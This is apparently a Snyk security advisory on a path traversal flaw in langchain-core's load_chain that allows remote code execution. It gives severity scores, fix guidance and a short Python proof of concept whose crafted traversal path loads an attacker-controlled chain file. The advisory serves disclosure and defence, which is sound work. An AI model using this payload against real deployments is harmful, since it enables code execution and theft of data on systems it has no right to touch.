Path Traversal Affecting langchain-core package, versions [,0.1.31)


Severity

0.0
critical
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (16th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-LANGCHAINCORE-6370598
  • published 4 Mar 2024
  • disclosed 4 Mar 2024
  • credit PinkDraconian

How to fix?

Upgrade langchain-core to version 0.1.31 or higher.

Overview

langchain-core is a Building applications with LLMs through composability

Affected versions of this package are vulnerable to Path Traversal due to improper validation of user-supplied input in the load_chain call. An attacker can achieve remote code execution or disclose sensitive information by manipulating the path parameter to traverse directories and load configurations or execute code not intended by the application.

Notes:

  1. This is only exploitable if the attacker can control the final part of the path parameter.

  2. llm_bash_chain is an experimental feature.

PoC

from langchain_core.prompts import load_prompt
from langchain.chains import load_chain

malicious_path = 'lc@ANYTHING://chains/../../../../../../../../../PinkDraconian/PoC/main/poc_rce.json'
chain = load_chain(malicious_path)
print(chain.invoke("ANYTHING"))

CVSS Scores

version 3.1
Expand this section

Snyk

9.9 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High